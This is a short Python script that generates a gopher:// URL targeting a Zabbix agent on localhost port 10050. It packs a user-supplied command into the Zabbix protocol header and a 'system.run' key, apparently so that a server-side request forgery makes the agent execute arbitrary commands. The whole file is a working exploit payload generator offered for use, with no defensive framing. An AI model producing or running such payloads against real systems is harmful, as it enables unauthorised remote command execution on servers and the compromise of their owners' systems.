import struct
import urllib.parse

payload=input("insert payload:\n")
header="ZBXD\x01"
key = "system.run[("+payload+")]"

print("URL: gopher://localhost:10050/_", end="")

print(urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"), end="")
print(urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"), end="")
print(urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"), end="")